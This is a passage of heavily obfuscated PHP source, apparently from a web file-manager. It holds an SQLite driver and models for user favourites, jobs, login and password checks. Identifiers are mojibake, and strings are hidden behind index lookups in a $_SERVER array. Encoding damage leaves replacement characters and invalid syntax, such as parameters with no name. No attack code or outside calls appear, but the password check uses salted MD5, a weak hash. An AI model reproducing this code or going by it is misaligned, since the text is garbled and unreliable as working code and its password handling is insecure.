think_exception(think_lang($—º¥²Âò[14]) . $—º¥²Âò[55]); } if (!empty($ì¾®žÚØ)) { if (!isset($ì¾®žÚØ[$—º¥²Âò[16]])) { $ì¾®žÚØ[$—º¥²Âò[16]] = 438; } $this->config = $ì¾®žÚØ; if (empty($this->config[$—º¥²Âò[17]])) { $this->config[$—º¥²Âò[17]] = array(); } } } public function connect($òÉâ­àÉ = '', $¢š¯íΈ = 0) { $—ÙÌÊ¡± =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($this->linkID[$¢š¯íΈ])) { if (empty($òÉâ­àÉ)) { $òÉâ­àÉ = $this->config; } $this->linkID[$¢š¯íΈ] = new SQLite3($òÉâ­àÉ[$—ÙÌÊ¡±[21]]); if (!$this->linkID[$¢š¯íΈ]) { think_exception($this->linkID[$¢š¯íΈ]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$¢š¯íΈ]->busyTimeout(30000); if (1 != think_config($—ÙÌÊ¡±[22])) { unset($this->config); } } return $this->linkID[$¢š¯íΈ]; } public function free() { $this->queryID = null; } public function query($ðÍÙ׿ˆ) { $ܺô<C2BA>Ë<EFBFBD> =& $_SERVER[ˆ¡¹µ‹Â]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ðÍÙ׿ˆ; if ($this->queryID) { $this->free(); } think_action_status($ܺô<C2BA>Ë<EFBFBD>[23], 1); think_status($ܺô<C2BA>Ë<EFBFBD>[24]); $this->queryID = $this->_linkID->query($ðÍÙ׿ˆ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $Àþ΄¤± = $this->getAll(); $this->numRows = count($Àþ΄¤±); return $Àþ΄¤±; } } public function execute($ÊÕÜ€ðÙ) { $¤ýÆžðù =& $_SERVER[ˆ¡¹µ‹Â]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ÊÕÜ€ðÙ; if ($this->queryID) { $this->free(); } think_action_status($¤ýÆžðù[25], 1); think_status($¤ýÆžðù[24]); $‹žÌ›ˆ‡ = $this->_linkID->exec($ÊÕÜ€ðÙ); $this->debug(); if (!1 === $‹žÌ›ˆ‡) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[ˆ¡¹µ‹Â][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $¶ØÂÐæû = $this->_linkID->query($_SERVER[ˆ¡¹µ‹Â][27]); if (!$¶ØÂÐæû) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $»÷Îò¯ž = $this->_linkID->query($_SERVER[ˆ¡¹µ‹Â][28]); if (!$»÷Îò¯ž) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $·ñçûöÖ = array(); while ($™Ó÷<C393>þ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $·ñçûöÖ[] = $™Ó÷<C393>þ; } $this->queryID->reset(); return $·ñçûöÖ; } public function getFields($éãÄê÷œ) { $šÁ¶Î¦ñ =& $_SERVER[ˆ¡¹µ‹Â]; $¿¢<C2BF>÷Æñ = $this->query($šÁ¶Î¦ñ[29] . $éãÄê÷œ . $šÁ¶Î¦ñ[30]); $Ï’í¼‰î = array(); if ($¿¢<C2BF>÷Æñ) { foreach ($¿¢<C2BF>÷Æñ as $åÏóÃÊ— => $½ü£à™Ã) { $Ï’í¼‰î[$½ü£à™Ã[$šÁ¶Î¦ñ[32]]] = array($šÁ¶Î¦ñ[32] => $½ü£à™Ã[$šÁ¶Î¦ñ[32]], $šÁ¶Î¦ñ[33] => $½ü£à™Ã[$šÁ¶Î¦ñ[33]], $šÁ¶Î¦ñ[35] => (bool) ($½ü£à™Ã[$šÁ¶Î¦ñ[35]] === $šÁ¶Î¦ñ[12]), $šÁ¶Î¦ñ[37] => $½ü£à™Ã[$šÁ¶Î¦ñ[56]], $šÁ¶Î¦ñ[39] => (bool) $½ü£à™Ã[$šÁ¶Î¦ñ[57]], $šÁ¶Î¦ñ[42] => (bool) $½ü£à™Ã[$šÁ¶Î¦ñ[57]]); } } return $Ï’í¼‰î; } public function getTables($Ê÷Òà«<C3A0> = '') { $¯³½<C2B3>úà =& $_SERVER[ˆ¡¹µ‹Â]; $Â䆌€º = $this->query($¯³½<C2B3>úÃ[45] . $¯³½<C2B3>úÃ[46] . $¯³½<C2B3>úÃ[47]); $¿©þ­ÃÒ = array(); foreach ($Â䆌€º as $Ã߯­ÃÚ => $ˆ©åòÏç) { $¿©þ­ÃÒ[$Ã߯­ÃÚ] = current($ˆ©åòÏç); } return $¿©þ­ÃÒ; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ßßê<C39F>öñ =& $_SERVER[ˆ¡¹µ‹Â]; $this->error = $this->_linkID->lastErrorMsg(); if ($ßßê<C39F>öñ[12] != $this->queryStr) { $this->error .= LNG($ßßê<C39F>öñ[48]) . $this->queryStr; } think_trace($this->error, $ßßê<C39F>öñ[12], $ßßê<C39F>öñ[49]); return $this->error; } public function escapeString($«â×Á¯Ð) { $Ÿ«ÞÈ— =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->_linkID) { return $this->_linkID->escapeString($«â×Á¯Ð); } return str_ireplace($Ÿ«ÞÈ—[58], $Ÿ«ÞÈ—[59], $«â×Á¯Ð); } public function parseLimit($øÅÕðž¼) { $ß™Ö•ï“ =& $_SERVER[ˆ¡¹µ‹Â]; $ÛãÝäû– = $ߙ֕ï“[12]; if (!empty($øÅÕðž¼)) { $øÅÕðž¼ = explode($ߙ֕ï“[50], $øÅÕðž¼); if (count($øÅÕðž¼) > 1) { $ÛãÝäû– .= $ߙ֕ï“[51] . $øÅÕðž¼[1] . $ߙ֕ï“[52] . $øÅÕðž¼[0] . $ߙ֕ï“[53]; } else { $ÛãÝäû– .= $ߙ֕ï“[51] . $øÅÕðž¼[0] . $ߙ֕ï“[53]; } } return $ÛãÝäû–; } } goto E¨ñ¬ÁÑ«; F„ñ•„¥íË: class UserFavModel extends ModelBase { protected $tableName = "\x75\x73\145\x72\137\146\x61\x76"; protected function cacheFunctionAlias($È›³§ü¥) { $®Ò¾íÏ÷ =& $_SERVER[ˆ¡¹µ‹Â]; return array($®Ò¾íÏ÷[2077] => array(USER_ID, $®Ò¾íÏ÷[2444])); } protected function listData() { $£ôÁ÷¯• =& $_SERVER[ˆ¡¹µ‹Â]; $ÔÅħ<C384><C2A7> = array($£ôÁ÷¯•[1754] => USER_ID, $£ôÁ÷¯•[557] => 0); $죉ÛÛƒ = $£ôÁ÷¯•[2445]; $·üòËÁÏ = $this->field($죉ÛÛƒ)->where($ÔÅħ<C384><C2A7>)->order($£ôÁ÷¯•[2446])->select(); return $·üòËÁÏ ? $·üòËÁÏ : array(); } protected function resetCache() { } protected function listView() { $ËÉ<C38B>ªë¢ =& $_SERVER[ˆ¡¹µ‹Â]; $á¥ëåðÖ = $this->listData(); $øÙ<C3B8>¹‰Ó = array_filter_by_field($á¥ëåðÖ, $ËÉ<C38B>ªë¢[33], $ËÉ<C38B>ªë¢[490]); $ÆÚ¾“›ß = array_to_keyvalue($øÙ<C3B8>¹‰Ó, $ËÉ<C38B>ªë¢[12], $ËÉ<C38B>ªë¢[87]); if (!$ÆÚ¾“›ß) { return $á¥ëåðÖ; } $̤µèƒ‚ = 2000; $à’éÍ™œ = array($ËÉ<C38B>ªë¢[491] => array($ËÉ<C38B>ªë¢[492], $ÆÚ¾“›ß)); $Ð¥ë•Ù<E280A2> = Model($ËÉ<C38B>ªë¢[899])->listSource($à’éÍ™œ, $̤µèƒ‚); $Ð¥ë•Ù<E280A2> = array_merge($Ð¥ë•Ù<E280A2>[$ËÉ<C38B>ªë¢[86]], $Ð¥ë•Ù<E280A2>[$ËÉ<C38B>ªë¢[85]]); $Ð¥ë•Ù<E280A2> = array_to_keyvalue($Ð¥ë•Ù<E280A2>, $ËÉ<C38B>ªë¢[193]); foreach ($á¥ëåðÖ as $ôÆ<C3B4>ì˜ => $­<>«žÔá) { $±«<C2B1>º = $Ð¥ë•Ù<E280A2>[$­<>«žÔá[$ËÉ<C38B>ªë¢[87]]]; $±«<C2B1>º = $±«<C2B1>º ? $±«<C2B1>º : array(); $á¥ëåðÖ[$ôÆ<C3B4>ì˜] = array_merge($±«<C2B1>º, $­<>«žÔá); } return $á¥ëåðÖ; } protected function addFav($È‘°…’ß, $ºâ•ù‰ù = '', $¶£ºÐ<C2BA>¥ = "\x73\x6f\165\x72\x63\x65") { $Š´‰Í‰” =& $_SERVER[ˆ¡¹µ‹Â]; $®ƒÇ×Π= array($Š´‰Í‰”[1754] => USER_ID, $Š´‰Í‰”[557] => 0, $Š´‰Í‰”[496] => $¶£ºÐ<C2BA>¥, $Š´‰Í‰”[495] => $È‘°…’ß); if ($this->where($®ƒÇ×ÎÂ)->find()) { return !1; } $®ƒÇ×Π= array($Š´‰Í‰”[1754] => USER_ID, $Š´‰Í‰”[557] => 0); $¨²»Óšï = $this->where($®ƒÇ×ÎÂ)->max($Š´‰Í‰”[1986]); if (!$¨²»Óšï) { $¨²»Óšï = 0; } if (!$ºâ•ù‰ù && $¶£ºÐ<C2BA>¥ == $Š´‰Í‰”[490]) { $’¹ßð¹´ = Model($Š´‰Í‰”[1411])->where(array($Š´‰Í‰”[491] => $È‘°…’ß))->find(); if (!$’¹ßð¹´) { return !1; } $ºâ•ù‰ù = $’¹ßð¹´[$Š´‰Í‰”[32]]; } $ºâ•ù‰ù = $this->getAutoName($ºâ•ù‰ù); $òŒÇþéã = array($Š´‰Í‰”[1754] => USER_ID, $Š´‰Í‰”[557] => 0, $Š´‰Í‰”[494] => $ºâ•ù‰ù, $Š´‰Í‰”[495] => $È‘°…’ß, $Š´‰Í‰”[496] => $¶£ºÐ<C2BA>¥, $Š´‰Í‰”[1966] => $¨²»Óšï + 1); return $this->add($òŒÇþéã); } protected function remove($‡ö³<C3B6>ŽÆ) { $„ÈÔ«½<C2AB> =& $_SERVER[ˆ¡¹µ‹Â]; $Ï–½÷ã© = array($„ÈÔ«½<C2AB>[1754] => USER_ID, $„ÈÔ«½<C2AB>[493] => $‡ö³<C3B6>ŽÆ); return $this->where($Ï–½÷ã©)->delete(); } protected function removeByName($æ’êî§Ž) { $ðåíÏ×û =& $_SERVER[ˆ¡¹µ‹Â]; $è›´²Œ¦ = array($ðåíÏ×û[1754] => USER_ID, $ðåíÏ×û[494] => $æ’êî§Ž, $ðåíÏ×û[557] => 0); return $this->where($è›´²Œ¦)->delete(); } protected function rename($¼¤ý<C3BD>é, $Úå•Åòò) { $š½ì¬¤<C2AC> =& $_SERVER[ˆ¡¹µ‹Â]; if ($¼¤ý<C3BD>é == $Úå•Åòò) { return !1; } $Ÿ<>¤¨ñ© = $this->getAutoName($Úå•Åòò); if ($Úå•Åòò != $Ÿ<>¤¨ñ©) { return !1; } $¨žöÀˆõ = array($š½ì¬¤<C2AC>[1754] => USER_ID, $š½ì¬¤<C2AC>[557] => 0, $š½ì¬¤<C2AC>[32] => $¼¤ý<C3BD>é); return $this->where($¨žöÀˆõ)->save(array($š½ì¬¤<C2AC>[32] => $Úå•Åòò)); } protected function resetSort($è—ÉÞë) { $ÍîÔ¿Ú„ =& $_SERVER[ˆ¡¹µ‹Â]; $è—ÉÞë = is_array($è—ÉÞë) ? $è—ÉÞë : array(); $›óøæŸÚ = array($ÍîÔ¿Ú„[1754] => USER_ID); for ($­¯Ü«¬È = 0; $­¯Ü«¬È < count($è—ÉÞë); $­¯Ü«¬È++) { $›óøæŸÚ[$ÍîÔ¿Ú„[493]] = $è—ÉÞë[$­¯Ü«¬È]; $this->where($›óøæŸÚ)->save(array($ÍîÔ¿Ú„[1966] => $­¯Ü«¬È + 1)); } return !0; } protected function moveTop($Ƶ¡‹¤˜) { $Ì´ÒçÑž =& $_SERVER[ˆ¡¹µ‹Â]; $침›¬¼ = array($Ì´ÒçÑž[1754] => USER_ID, $Ì´ÒçÑž[557] => 0); $¯Ç¾¯®û = $this->where($침›¬¼)->where(array($Ì´ÒçÑž[32] => $Ƶ¡‹¤˜))->find(); if (!$¯Ç¾¯®û) { return; } $<24>­¬†óè = $this->field($Ì´ÒçÑž[475])->where($침›¬¼)->order($Ì´ÒçÑž[2446])->select(); $<24>­¬†óè = array_to_keyvalue($<24>­¬†óè, $Ì´ÒçÑž[12], $Ì´ÒçÑž[475]); $¹™žÕ•ˆ = $<24>­¬†óè; $<24>­¬†óè = array_remove_value($<24>­¬†óè, $¯Ç¾¯®û[$Ì´ÒçÑž[475]]); array_unshift($<24>­¬†óè, $¯Ç¾¯®û[$Ì´ÒçÑž[475]]); return $this->resetSort($<24>­¬†óè); } protected function moveBottom($žîï…»³) { $þ§†ÇÇ« =& $_SERVER[ˆ¡¹µ‹Â]; $Ú… «¹° = array($þ§†ÇÇ«[1754] => USER_ID, $þ§†ÇÇ«[557] => 0); $¨Í<E280BA>àà = $this->where($Ú… «¹°)->max($þ§†ÇÇ«[1986]); $û¬çïËü = array($þ§†ÇÇ«[1986] => $¨Í<E280BA>àà + 1); return $this->where($Ú… «¹°)->where(array($þ§†ÇÇ«[32] => $žîï…»³))->save($û¬çïËü); } private function getAutoName($˜œéÄ„À) { $ŒÊïÊÜì =& $_SERVER[ˆ¡¹µ‹Â]; $ÜÄÓÕ<C393>ß = array($ŒÊïÊÜì[1754] => USER_ID, $ŒÊïÊÜì[557] => 0); $Á…²¾ÚŸ = $this->field($ŒÊïÊÜì[32])->where($ÜÄÓÕ<C393>ß)->select(); $Á…²¾ÚŸ = array_to_keyvalue($Á…²¾ÚŸ, $ŒÊïÊÜì[12], $ŒÊïÊÜì[32]); if (!$Á…²¾ÚŸ || !in_array($˜œéÄ„À, $Á…²¾ÚŸ)) { return $˜œéÄ„À; } for ($´’ÀáËž = 0; $´’ÀáËž < count($Á…²¾ÚŸ); $´’ÀáËž++) { if (!in_array($˜œéÄ„À . "\50{$´’ÀáËž}\51", $Á…²¾ÚŸ)) { return $˜œéÄ„À . "\x28{$´’ÀáËž}\51"; } } return $˜œéÄ„À . "\50{$´’ÀáËž}\x29"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\x65\x6d\56\152\157\x62\114\151\163\x74"; public $field = array("\156\x61\x6d\x65", "\144\145\163\143", "\x73\x6f\162\x74"); const JOB_KEY = "\x73\x65\154\146\112\157\142\114\151\163\x74"; public function listData($­îÇîÅ£ = false, $ä<>ý¼û¾ = "\163\157\x72\164", $…¥ŽÅŠø = false) { return parent::listData($­îÇîÅ£, $ä<>ý¼û¾, $…¥ŽÅŠø); } public function remove($ëÕõ±²ó) { return parent::remove($ëÕõ±²ó); } public function add($·Òûè<C3BB>ç) { $ÌÑôú<C3B4>î =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->findByName($·Òûè<C3BB>ç[$ÌÑôú<C3B4>î[32]])) { return !1; } $·Òûè<C3BB>ç[$ÌÑôú<C3B4>î[1986]] = $this->getSort(); return parent::insert($·Òûè<C3BB>ç); } private function getSort() { $¢ÈŸ©íë =& $_SERVER[ˆ¡¹µ‹Â]; $öä͹ˆ¶ = parent::listData(); $†Àâ×Е = array_to_keyvalue($öä͹ˆ¶, $¢ÈŸ©íë[12], $¢ÈŸ©íë[1986]); return empty($†Àâ×Е) ? 0 : max($†Àâ×Е) + 1; } public function update($”í²Ôøø, $¼™Êû’Ÿ) { $ŸäâšÙª =& $_SERVER[ˆ¡¹µ‹Â]; $¼<C2BC>ⓨ = parent::listData($”í²Ôøø); $„ëé—­ƒ = $this->findByName($¼™Êû’Ÿ[$ŸäâšÙª[32]]); if (!$¼<C2BC>ⓨ || $„ëé—­ƒ && $„ëé—­ƒ[$ŸäâšÙª[475]] != $¼<C2BC>ⓨ[$ŸäâšÙª[475]]) { return !1; } return parent::update($”í²Ôøø, $¼™Êû’Ÿ); } public function setUserJob($·âíÆ<C3AD>¢, $Ѥ鞿§) { $ق֎Ѹ =& $_SERVER[ˆ¡¹µ‹Â]; if (!is_array($Ѥ鞿§)) { $Ѥ鞿§ = array($Ѥ鞿§); } $úìÆ™ó• = parent::listData(); $²øùÕ¿Ê = array_to_keyvalue($úìÆ™ó•, $ق֎Ѹ[32]); $–¥—æ¥â = $ق֎Ѹ[454]; foreach ($Ѥ鞿§ as $¼ƒºÅŸŸ) { if ($²øùÕ¿Ê[$¼ƒºÅŸŸ]) { $–¥—æ¥â .= $²øùÕ¿Ê[$¼ƒºÅŸŸ][$ق֎Ѹ[475]] . $ق֎Ѹ[50]; } else { $óù¸˜»÷ = $this->add($¼ƒºÅŸŸ); $–¥—æ¥â .= $óù¸˜»÷ . $ق֎Ѹ[50]; } } $–¥—æ¥â = rtrim($–¥—æ¥â, $ق֎Ѹ[50]); Model($ق֎Ѹ[598])->metaSet($·âíÆ<C3AD>¢, self::JOB_KEY, $–¥—æ¥â); } public function getUserJob($÷©â¬°°) { $Ïûûù§ª = Model($_SERVER[ˆ¡¹µ‹Â][598])->metaGet($÷©â¬°°); return $this->getUserJobInfo($Ïûûù§ª[self::JOB_KEY]); } public function getUserJobInfo($ݺüöòð) { $ˆ¡Ïƒ“æ =& $_SERVER[ˆ¡¹µ‹Â]; $Ú“È›‚Ö = explode($ˆ¡Ïƒ“æ[50], $ݺüöòð); $¸Î<C2B8>Þ‡£ = parent::listData(); $¸Î<C2B8>Þ‡£ = array_remove_key($¸Î<C2B8>Þ‡£, $ˆ¡Ïƒ“æ[231]); $„ØÐÆŽ° = array(); foreach ($Ú“È›‚Ö as $•¯éÂõÐ) { if (isset($¸Î<C2B8>Þ‡£[$•¯éÂõÐ])) { $„ØÐÆŽ°[] = $¸Î<C2B8>Þ‡£[$•¯éÂõÐ]; } } return $„ØÐÆŽ°; } } class UserModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72"; protected $tableMeta = array("\164\141\142\154\145\x4e\x61\155\x65" => "\165\x73\145\x72\137\x6d\x65\x74\141", "\x6d\145\x74\141\106\151\x65\154\x64" => "\x75\x73\145\162\111\104"); protected $simpleField = "\x75\163\x65\x72\111\104\x2c\x6e\151\143\x6b\x4e\x61\x6d\145\x2c\x6e\141\x6d\x65\x2c\141\166\x61\x74\x61\162\54\x73\x65\x78\54\163\x74\x61\164\x75\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($ú¼¡¦Ø<C2A6>) { $‹ú¼×ââ =& $_SERVER[ˆ¡¹µ‹Â]; $Â÷ÁÊŽÑ = $‹ú¼×ââ[2447]; return array($‹ú¼×ââ[2044] => array($ú¼¡¦Ø<C2A6>[0], $Â÷ÁÊŽÑ), $‹ú¼×ââ[2046] => array($ú¼¡¦Ø<C2A6>[0], $Â÷ÁÊŽÑ), $‹ú¼×ââ[2448] => array($ú¼¡¦Ø<C2A6>[0], $Â÷ÁÊŽÑ)); } protected function getInfo($á¥ÊààË, $’ÂþøšÀ = false) { $Ëñ†„Àé = $this->getInfoSimple($á¥ÊààË); if (!is_array($Ëñ†„Àé)) { return array(); } if ($’ÂþøšÀ) { return $this->_getInfoApply($Ëñ†„Àé); } return $this->cacheFunctionGet($_SERVER[ˆ¡¹µ‹Â][2048], $á¥ÊààË); } protected function getInfoFull($É•Ú<E280A2>úì, $Ž›Èý‹Ž = false) { $¥ÞÖôŸô = $this->getInfoSimple($É•Ú<E280A2>úì); if (!is_array($¥ÞÖôŸô)) { return array(); } if ($Ž›Èý‹Ž) { return $this->_getInfoApply($¥ÞÖôŸô, !0); } return $this->cacheFunctionGet($_SERVER[ˆ¡¹µ‹Â][2449], $É•Ú<E280A2>úì); } private function _getInfoApply($¿Ã수«, $ôÁô»úâ = false) { $õØ«<C398>¼þ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$¿Ã수«) { return $¿Ã수«; } $¸³¼Û¿Ô = md5($õØ«<C398>¼þ[2450] . $¿Ã수«[$õØ«<C398>¼þ[960]] . $õØ«<C398>¼þ[2451] . $¿Ã수«[$õØ«<C398>¼þ[32]]); $¿Ã수« = $this->_listDataApplyItem($¿Ã수«); $Ï›€Ü¼° = Model($õØ«<C398>¼þ[1411])->metaGet($¿Ã수«[$õØ«<C398>¼þ[90]][$õØ«<C398>¼þ[193]]); $¿Ã수«[$õØ«<C398>¼þ[2452]] = $¸³¼Û¿Ô; $¿Ã수«[$õØ«<C398>¼þ[90]][$õØ«<C398>¼þ[2243]] = isset($Ï›€Ü¼°[$õØ«<C398>¼þ[2244]]) ? $Ï›€Ü¼°[$õØ«<C398>¼þ[2244]] : null; if ($ôÁô»úâ) { $¿Ã수«[$õØ«<C398>¼þ[539]] = $this->metaGet($¿Ã수«[$õØ«<C398>¼þ[1763]]); } return $¿Ã수«; } protected function getInfoSimple($üóýÐ<C3BD>Æ, $ÊÎÑ£÷¦ = false) { $Ûš™ÆêÁ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$üóýÐ<C3BD>Æ) { return array(); } if ($ÊÎÑ£÷¦) { $¢‚Ŷ… = $this->where(array($Ûš™ÆêÁ[1763] => intval($üóýÐ<C3BD>Æ)))->find(); if (!is_array($¢‚Ŷ…)) { return array(); } $¢‚Ŷ…[$Ûš™ÆêÁ[2453]] = Action($Ûš™ÆêÁ[2454])->parseUrl($¢‚Ŷ…[$Ûš™ÆêÁ[2453]]); return $¢‚Ŷ…; } return $this->cacheFunctionGet($Ûš™ÆêÁ[2049], $üóýÐ<C3BD>Æ); } protected function getInfoSimpleOuter($) { $ô«ùÝóÊ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ || $ == 0) { return array($ô«ùÝóÊ[1763] => $ô«ùÝóÊ[228], $ô«ùÝóÊ[32] => $ô«ùÝóÊ[176] . LNG($ô«ùÝóÊ[2455]) . $ô«ùÝóÊ[178], $ô«ùÝóÊ[2453] => STATIC_PATH . $ô«ùÝóÊ[2456]); } $¿žÔ¯¯š = $this->cacheFunctionGet($ô«ùÝóÊ[2049], $); $ Õç˳‰ = array_field_key($¿žÔ¯¯š, explode($ô«ùÝóÊ[50], $this->simpleField)); if (!$ Õç˳‰) { return array($ô«ùÝóÊ[1763] => $ô«ùÝóÊ[1266], $ô«ùÝóÊ[32] => $ô«ùÝóÊ[176] . LNG($ô«ùÝóÊ[2457]) . $ô«ùÝóÊ[178], $ô«ùÝóÊ[2453] => STATIC_PATH . $ô«ùÝóÊ[2458]); } $ Õç˳‰[$ô«ùÝóÊ[2453]] = Action($ô«ùÝóÊ[2454])->parseUrl($ Õç˳‰[$ô«ùÝóÊ[2453]]); return $ Õç˳‰; } protected function groupUser($<24>²½™§) { } public static function errorLang($邿æ¦Ñ) { $¤þ¸êµ» =& $_SERVER[ˆ¡¹µ‹Â]; $Œ•“Ñú´ = array(self::ERROR_USER_NOT_EXISTS => $¤þ¸êµ»[2459], self::ERROR_USER_PASSWORD_ERROR => $¤þ¸êµ»[2460], self::ERROR_USER_EXIST_NAME => $¤þ¸êµ»[2461], self::ERROR_USER_EXIST_PHONE => $¤þ¸êµ»[2462], self::ERROR_USER_EXIST_EMAIL => $¤þ¸êµ»[2463], self::ERROR_USER_LOGIN_LOCK => $¤þ¸êµ»[2464], self::ERROR_IP_NOT_ALLOW => $¤þ¸êµ»[2465], self::ERROR_USER_EXIST_NICKNAME => $¤þ¸êµ»[2466]); $çÅçÕ§‚ = LNG($Œ•“Ñú´[$邿æ¦Ñ]); if ($邿æ¦Ñ == self::ERROR_USER_LOGIN_LOCK) { $£Ñ‘õ§ = (int) Model($¤þ¸êµ»[2467])->get($¤þ¸êµ»[2468]); if ($£Ñ‘õ§ > 60) { $çÅçÕ§‚ = str_replace($¤þ¸êµ»[91], ceil($£Ñ‘õ§ / 60), $çÅçÕ§‚); } } return $çÅçÕ§‚; } protected function metaSet($¿ü¦Ý»¨, $­ªÛž÷þ = null, $ªëïŸÐ<C5B8> = null) { $this->clearCache($¿ü¦Ý»¨); return parent::metaSet($¿ü¦Ý»¨, $­ªÛž÷þ, $ªëïŸÐ<C5B8>); } public function getInfoByMeta($Š¼Š˜Ý‘, $÷Õø€÷É) { $¶úҖĈ =& $_SERVER[ˆ¡¹µ‹Â]; $ÐÉæôÎ<C3B4> = Model($¶úҖĈ[2469])->where(array($¶úҖĈ[97] => $Š¼Š˜Ý‘, $¶úҖĈ[450] => $÷Õø€÷É))->find(); if ($ÐÉæôÎ<C3B4>) { return $this->getInfo($ÐÉæôÎ<C3B4>[$¶úҖĈ[1763]]); } return !1; } public function userLoginCheck($<24>·à­¬ï, $ùù­ý ¨) { $˜§æ¹§ƒ =& $_SERVER[ˆ¡¹µ‹Â]; $àДîÊñ = $this->userLoginFind($<24>·à­¬ï); if (!$àДîÊñ) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($àДîÊñ[$˜§æ¹§ƒ[1763]], $ùù­ý ¨)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($àДîÊñ[$˜§æ¹§ƒ[1763]]); } public function userLoginFind($óÇ«†ß¾) { $©òۨ߰ =& $_SERVER[ˆ¡¹µ‹Â]; $°ú¯••<E280A2> = array($©òۨ߰[32] => $óÇ«†ß¾, $©òۨ߰[2256] => $óÇ«†ß¾, $©òۨ߰[381] => $óÇ«†ß¾, $©òۨ߰[2470] => $óÇ«†ß¾, $©òۨ߰[1071] => $©òۨ߰[1073]); if ($this->nickNameRpt()) { unset($°ú¯••<E280A2>[$©òۨ߰[2256]]); } return $this->where($°ú¯••<E280A2>)->find(); } public function clearCache($„®Îæœì) { $‚€ºãþ£ =& $_SERVER[ˆ¡¹µ‹Â]; $this->cacheFunctionClear($‚€ºãþ£[2048], $„®Îæœì); $this->cacheFunctionClear($‚€ºãþ£[2049], $„®Îæœì); $this->cacheFunctionClear($‚€ºãþ£[2449], $„®Îæœì); } public function userPasswordCheck($¹´¤®Î», $ÀÚ±½³Ñ) { $Ü´¯»Éë =& $_SERVER[ˆ¡¹µ‹Â]; $åÒÙÇ¿  = $this->where(array($Ü´¯»Éë[1763] => intval($¹´¤®Î»)))->find(); $Õ蕆¡Æ = $this->metaGet($¹´¤®Î»); $ÜÈ£®’ = isset($Õ蕆¡Æ[$Ü´¯»Éë[2471]]) ? $Õ蕆¡Æ[$Ü´¯»Éë[2471]] : $Ü´¯»Éë[12]; if (md5($ÜÈ£®’ . trim($ÀÚ±½³Ñ)) !== $åÒÙÇ¿ [$Ü´¯»Éë[960]]) { return !1; } return !0; } public function userAdd($Ö—†ª–ö) { $²šÂÇö™ =& $_SERVER[ˆ¡¹µ‹Â]; $Öù´ »’ = array($²šÂÇö™[494] => $Ö—†ª–ö[$²šÂÇö™[32]], $²šÂÇö™[2472] => $Ö—†ª–ö[$²šÂÇö™[2169]], $²šÂÇö™[2473] => isset($Ö—†ª–ö[$²šÂÇö™[381]]) ? $Ö—†ª–ö[$²šÂÇö™[381]] : $²šÂÇö™[12], $²šÂÇö™[2474] => isset($Ö—†ª–ö[$²šÂÇö™[2470]]) ? $Ö—†ª–ö[$²šÂÇö™[2470]] : $²šÂÇö™[12], $²šÂÇö™[2475] => isset($Ö—†ª–ö[$²šÂÇö™[2256]]) ? $Ö—†ª–ö[$²šÂÇö™[2256]] : $Ö—†ª–ö[$²šÂÇö™[32]], $²šÂÇö™[2476] => isset($Ö—†ª–ö[$²šÂÇö™[2453]]) ? $Ö—†ª–ö[$²šÂÇö™[2453]] : $²šÂÇö™[12], $²šÂÇö™[2477] => isset($Ö—†ª–ö[$²šÂÇö™[2478]]) ? $Ö—†ª–ö[$²šÂÇö™[2478]] : 1, $²šÂÇö™[2479] => $Ö—†ª–ö[$²šÂÇö™[960]], $²šÂÇö™[2050] => isset($Ö—†ª–ö[$²šÂÇö™[1948]]) ? $Ö—†ª–ö[$²šÂÇö™[1948]] : 1024 * 1024 * 20, $²šÂÇö™[2051] => 0, $²šÂÇö™[2480] => 0, $²šÂÇö™[2096] => isset($Ö—†ª–ö[$²šÂÇö™[817]]) ? $Ö—†ª–ö[$²šÂÇö™[817]] : 1); if (!empty($Ö—†ª–ö[$²šÂÇö™[1763]])) { $Öù´ »’[$²šÂÇö™[1763]] = $Ö—†ª–ö[$²šÂÇö™[1763]]; } $Âʩە´ = $this->_checkExist($Ö—†ª–ö); if ($Âʩە´ !== !0) { return $Âʩە´; } if (!empty($Öù´ »’[$²šÂÇö™[2453]]) && strlen($Öù´ »’[$²šÂÇö™[2453]]) > 255) { $Öù´ »’[$²šÂÇö™[2453]] = $²šÂÇö™[12]; } $„‹í‚Û = $this->add($Öù´ »’); $¤ö¬¯Õª = array($²šÂÇö™[2479] => $Öù´ »’[$²šÂÇö™[960]], $²šÂÇö™[2475] => $Öù´ »’[$²šÂÇö™[2256]]); $this->userEdit($„‹í‚Û, $¤ö¬¯Õª); Model($²šÂÇö™[1411])->userRootAdd($„‹í‚Û); return $„‹í‚Û; } protected function userEditTest($™Þ¬Å’ó, $çÌà³ðä) { return $this->call($_SERVER[ˆ¡¹µ‹Â][2481], $™Þ¬Å’ó, $çÌà³ðä); } protected function userEdit($Íû¨<E2809A>, $‘÷ÏûÝá) { $°©¼óÇá =& $_SERVER[ˆ¡¹µ‹Â]; $îÑÑé»è = $this->getInfoSimple($Íû¨<E2809A>); if 